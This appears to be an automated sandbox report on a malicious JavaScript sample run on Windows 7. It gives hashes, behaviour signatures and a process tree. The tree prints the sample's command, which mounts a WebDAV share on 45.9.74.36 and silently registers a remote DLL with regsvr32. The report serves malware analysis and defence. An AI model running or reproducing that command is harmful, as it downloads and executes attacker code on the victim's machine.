Analysis

  • max time kernel
    121s
  • max time network
    124s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    22/07/2024, 10:28

General

  • Target

    402265642128923995.js

  • Size

    6KB

  • MD5

    21c8888dc85b583d2697a9a0784baf86

  • SHA1

    de2a29c0b7c61a46316ba06a4a75f7389f781495

  • SHA256

    dc56e65eac3aaf8e5429e43df424985c498b3c36d17b742860090052f627ae41

  • SHA512

    9ad98ceedd08ca49e1c7afe8d74610587e2efb8f3ed4adad249e02f30675842129e2044d65a2f5a79fddb1c279d71d3f41684e59f9fc6ea93a46a90a43e0e2d7

  • SSDEEP

    48:7BD8tZnfSGBYs/3bBUY/UML6crzBMfubJBsGN/sSLJisrzi6crzBMfu6cUs7u7qm:7fS46ZZZbgAkYZZZbgkJ

Score
3/10

Malware Config

Signatures

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\402265642128923995.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2488
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\30060225165942.dll
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2928
      • C:\Windows\system32\net.exe
        net use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:2984

    Network

    MITRE ATT&CK Enterprise v15

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    Downloads